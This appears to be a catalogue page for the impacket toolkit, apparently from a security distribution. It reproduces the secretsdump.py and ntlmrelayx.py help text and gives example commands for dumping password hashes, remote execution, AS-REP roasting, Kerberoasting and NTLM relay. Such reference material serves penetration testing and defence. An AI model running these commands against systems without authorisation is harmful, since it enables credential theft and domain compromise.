Post Exploitation

impacket

impacket is a collection of Python classes for working with network protocols — and, built on top of them, dozens of ready-to-run example scripts that are, in practice, the backbone of Active Directory attacks. Almost every well-known AD technique has an impacket script: secretsdump.py to dump password hashes, psexec.py/wmiexec.py/smbexec.py for remote execution, GetNPUsers.py and GetUserSPNs.py for AS-REP roasting and Kerberoasting, ntlmrelayx.py for relaying captured authentication, secretsdump, ticketer.py, and many more. If you do AD work, you live in these scripts.

Official-repo package; Security → Post Exploitation → impacket. Every script is on your PATH with its .py name, and each takes -h for its own options.

Two of the essentials

secretsdump.py — dump credentials from a target:

Impacket v0.13.1 - Copyright Fortra, LLC and its affiliated companies 

usage: secretsdump.py [-h] [-ts] [-debug] [-system SYSTEM] [-bootkey BOOTKEY]
                      [-security SECURITY] [-sam SAM] [-ntds NTDS]
                      [-resumefile RESUMEFILE] [-skip-sam] [-skip-security]
                      [-outputfile OUTPUTFILE] [-use-vss] [-rodcNo RODCNO]
                      [-rodcKey RODCKEY] [-use-keylist]
                      [-exec-method [{smbexec,wmiexec,mmcexec}]]
                      [-use-remoteSSWMI] [-use-remoteSSWMI-NTDS]
                      [-remoteSSWMI-remote-volume REMOTESSWMI_REMOTE_VOLUME]
                      [-remoteSSWMI-local-path REMOTESSWMI_LOCAL_PATH]
                      [-just-dc-user USERNAME] [-ldapfilter LDAPFILTER]
                      [-just-dc] [-just-dc-ntlm] [-skip-user SKIP_USER]
                      [-pwd-last-set] [-user-status] [-history]
                      [-hashes LMHASH:NTHASH] [-no-pass] [-k]
                      [-aesKey hex key] [-keytab KEYTAB] [-dc-ip ip address]
                      [-target-ip ip address]
                      target

Performs various techniques to dump secrets from the remote machine without
executing any agent there.

positional arguments:
  target                [[domain/]username[:password]@]<targetName or address>
                        or LOCAL (if you want to parse local files)

options:
  -h, --help            show this help message and exit
  -ts                   Adds timestamp to every logging output
  -debug                Turn DEBUG output ON
  -system SYSTEM        SYSTEM hive to parse (only binary REGF, as .reg text
                        file lacks the metadata to compute the bootkey)
  -bootkey BOOTKEY      bootkey for SYSTEM hive
  -security SECURITY    SECURITY hive to parse
  -sam SAM              SAM hive to parse
  -ntds NTDS            NTDS.DIT file to parse
  -resumefile RESUMEFILE
                        resume file name to resume NTDS.DIT session dump (only
                        available to DRSUAPI approach). This file will also be
                        used to keep updating the session's state
  -skip-sam             Do NOT parse the SAM hive on remote system
  -skip-security        Do NOT parse the SECURITY hive on remote system
  -outputfile OUTPUTFILE
                        base output filename. Extensions will be added for
                        sam, secrets, cached and ntds
  -use-vss              Use the NTDSUTIL VSS method instead of default DRSUAPI
  -rodcNo RODCNO        Number of the RODC krbtgt account (only avaiable for
                        Kerb-Key-List approach)
  -rodcKey RODCKEY      AES key of the Read Only Domain Controller (only
                        avaiable for Kerb-Key-List approach)
  -use-keylist          Use the Kerb-Key-List method instead of default
                        DRSUAPI
  -exec-method [{smbexec,wmiexec,mmcexec}]
                        Remote exec method to use at target (only when using
                        -use-vss). Default: smbexec
  -use-remoteSSWMI      Remotely create Shadow Snapshot via WMI and download
                        SAM, SYSTEM and SECURITY from it, the parse locally
  -use-remoteSSWMI-NTDS
                        Dump NTDS.DIT also when using the Remote Shadow
                        Snapshot Method via WMI. Use it with dumping from a
                        DC. IMPORTANT: this flag only works when also using
                        -use-remoteSSWMI
  -remoteSSWMI-remote-volume REMOTESSWMI_REMOTE_VOLUME
                        Remote Volume to perform the Shadow Snapshot and
                        download SAM, SYSTEM and SECURITY. It defaults to C:\
  -remoteSSWMI-local-path REMOTESSWMI_LOCAL_PATH
                        Local path to download SAM, SYSTEM and SECURITY from
                        Shadow Snapshot. It defaults to current path

display options:
  -just-dc-user USERNAME
                        Extract only NTDS.DIT data for the user specified.
                        Only available for DRSUAPI approach. Implies also
                        -just-dc switch
  -ldapfilter LDAPFILTER
                        Extract only NTDS.DIT data for specific users based on
                        an LDAP filter. Only available for DRSUAPI approach.
                        Implies also -just-dc switch
  -just-dc              Extract only NTDS.DIT data (NTLM hashes and Kerberos
                        keys)
  -just-dc-ntlm         Extract only NTDS.DIT data (NTLM hashes only)
  -skip-user SKIP_USER  Do NOT extract NTDS.DIT data for the user specified.
                        Can provide comma-separated list of users to skip, or
                        text file with one user per line
  -pwd-last-set         Shows pwdLastSet attribute for each NTDS.DIT account.
                        Doesn't apply to -outputfile data
  -user-status          Display whether or not the user is disabled
  -history              Dump password history (NTDS and SAM hashes), and LSA
                        secrets OldVal

authentication:
  -hashes LMHASH:NTHASH
                        NTLM hashes, format is LMHASH:NTHASH
  -no-pass              don't ask for password (useful for -k)
  -k                    Use Kerberos authentication. Grabs credentials from
                        ccache file (KRB5CCNAME) based on target parameters.
                        If valid credentials cannot be found, it will use the
                        ones specified in the command line
  -aesKey hex key       AES key to use for Kerberos Authentication (128 or 256
                        bits)
  -keytab KEYTAB        Read keys for SPN from keytab file

connection:
  -dc-ip ip address     IP Address of the domain controller. If ommited it use
                        the domain part (FQDN) specified in the target
                        parameter
  -target-ip ip address
                        IP Address of the target machine. If omitted it will
                        use whatever was specified as target. This is useful
                        when target is the NetBIOS name and you cannot resolve
                        it

ntlmrelayx.py — relay captured authentication (abridged; run ntlmrelayx.py -h for all of it):

Impacket v0.13.1 - Copyright Fortra, LLC and its affiliated companies 

usage: ntlmrelayx.py [-h] [-ts] [-debug] [-t TARGET] [-tf TARGETSFILE] [-w]
                     [-i] [-ip INTERFACE_IP] [--no-smb-server]
                     [--no-http-server] [--no-wcf-server] [--no-raw-server]
                     [--no-rpc-server] [--no-winrm-server] [--no-mssql-server]
                     [--no-rdp-server] [--smb-port SMB_PORT]
                     [--http-port HTTP_PORT] [--wcf-port WCF_PORT]
                     [--raw-port RAW_PORT] [--rpc-port RPC_PORT]
                     [--mssql-port MSSQL_PORT] [--rdp-port RDP_PORT]
                     [--no-multirelay] [--keep-relaying] [-ra] [-r SMBSERVER]
                     [-l LOOTDIR] [-of OUTPUT_FILE] [-dh] [-codec CODEC]
                     [-smb2support] [-ntlmchallenge NTLMCHALLENGE] [-socks]
                     [-socks-address SOCKS_ADDRESS] [-socks-port SOCKS_PORT]
                     [-http-api-port HTTP_API_PORT] [-wh WPAD_HOST]
                     [-wa WPAD_AUTH_NUM] [-6] [--remove-mic]
                     [--remove-sign-seal] [--serve-image SERVE_IMAGE]
                     [-c COMMAND] [--mssql-db MSSQL_DB] [-e FILE]
                     [--enum-local-admins] [--rpc-attack {None,TSCH,ICPR}]
                     [-rpc-mode {TSCH,ICPR}] [-rpc-use-smb]
                     [-auth-smb [domain/]username[:password]]
                     [-hashes-smb LMHASH:NTHASH] [-rpc-smb-port {139,445}]
                     [-icpr-ca-name ICPR_CA_NAME] [-q QUERY]
                     [-machine-account MACHINE_ACCOUNT]
                     [-machine-hashes LMHASH:NTHASH] [-domain DOMAIN]
                     [-remove-target] [--no-dump] [--no-da] [--no-acl]
                     [--no-validate-privs] [--escalate-user ESCALATE_USER]
                     [--delegate-access] [--sid] [--dump-laps] [--dump-gmsa]
                     [--dump-adcs] [--add-dns-record NAME IPADDR]
                     [--add-computer [COMPUTERNAME [PASSWORD ...]]]
                     [-k KEYWORD] [-m MAILBOX] [-a] [-im IMAP_MAX] [--adcs]
                     [--template TEMPLATE] [--altname ALTNAME]
                     [--shadow-credentials] [--shadow-target SHADOW_TARGET]
                     [--pfx-password PFX_PASSWORD] [--export-type {PEM,PFX}]
                     [--cert-outfile-path CERT_OUTFILE_PATH] [--sccm-policies]
                     [--sccm-policies-clientname SCCM_POLICIES_CLIENTNAME]
                     [--sccm-policies-sleep SCCM_POLICIES_SLEEP] [--sccm-dp]
                     [--sccm-dp-extensions SCCM_DP_EXTENSIONS]
                     [--sccm-dp-files SCCM_DP_FILES]

For every connection received, this module will try to relay that connection
to specified target(s) system or the original client

Main options:
  -h, --help            show this help message and exit
  -ts                   Adds timestamp to every logging output
  -debug                Turn DEBUG output ON
  -t, --target TARGET   Target to relay the credentials to, can be an IP,
                        hostname or URL like domain\username@host:port
                        (domain\username and port are optional, and don't
                        forget to escape the '\'). If unspecified, it will
                        relay back to the client')
  -tf TARGETSFILE       File that contains targets by hostname or full URL,
                        one per line
  -w                    Watch the target file for changes and update target
                        list automatically (only valid with -tf)
  -i, --interactive     Launch an smbclient, LDAP console or SQL shell
                        insteadof executing a command after a successful
                        relay. This console will listen locally on a tcp port
                        and can be reached with for example netcat.

    ... (abridged)

Run `ntlmrelayx.py -h` in the terminal for the complete option list.

Examples

# Dump hashes over the network with credentials
secretsdump.py DOMAIN/user:[email protected]

# Remote command execution
psexec.py DOMAIN/user:[email protected]
wmiexec.py DOMAIN/user:[email protected]

# AS-REP roasting: find users that don't require pre-auth
GetNPUsers.py DOMAIN/ -usersfile users.txt -no-pass

# Kerberoasting: request service tickets to crack offline
GetUserSPNs.py DOMAIN/user:password -request

# Relay captured auth (pair with responder, its own servers turned off)
ntlmrelayx.py -t smb://10.0.0.6 -smb2support

Hashes and tickets these produce go straight into hashcat or john for cracking.